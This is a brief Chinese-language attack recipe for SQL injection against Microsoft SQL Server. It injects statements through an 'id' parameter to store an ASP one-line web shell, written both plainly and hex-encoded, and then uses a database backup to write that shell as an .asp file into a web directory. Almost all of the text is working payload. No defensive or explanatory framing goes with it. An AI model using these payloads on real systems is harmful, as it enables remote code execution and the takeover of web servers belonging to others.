insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
总的来说就是那么简单几句,下面以备份数据库model为例子
1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
2
id=1;backup database model to disk='你的路径‘ with differential,format;--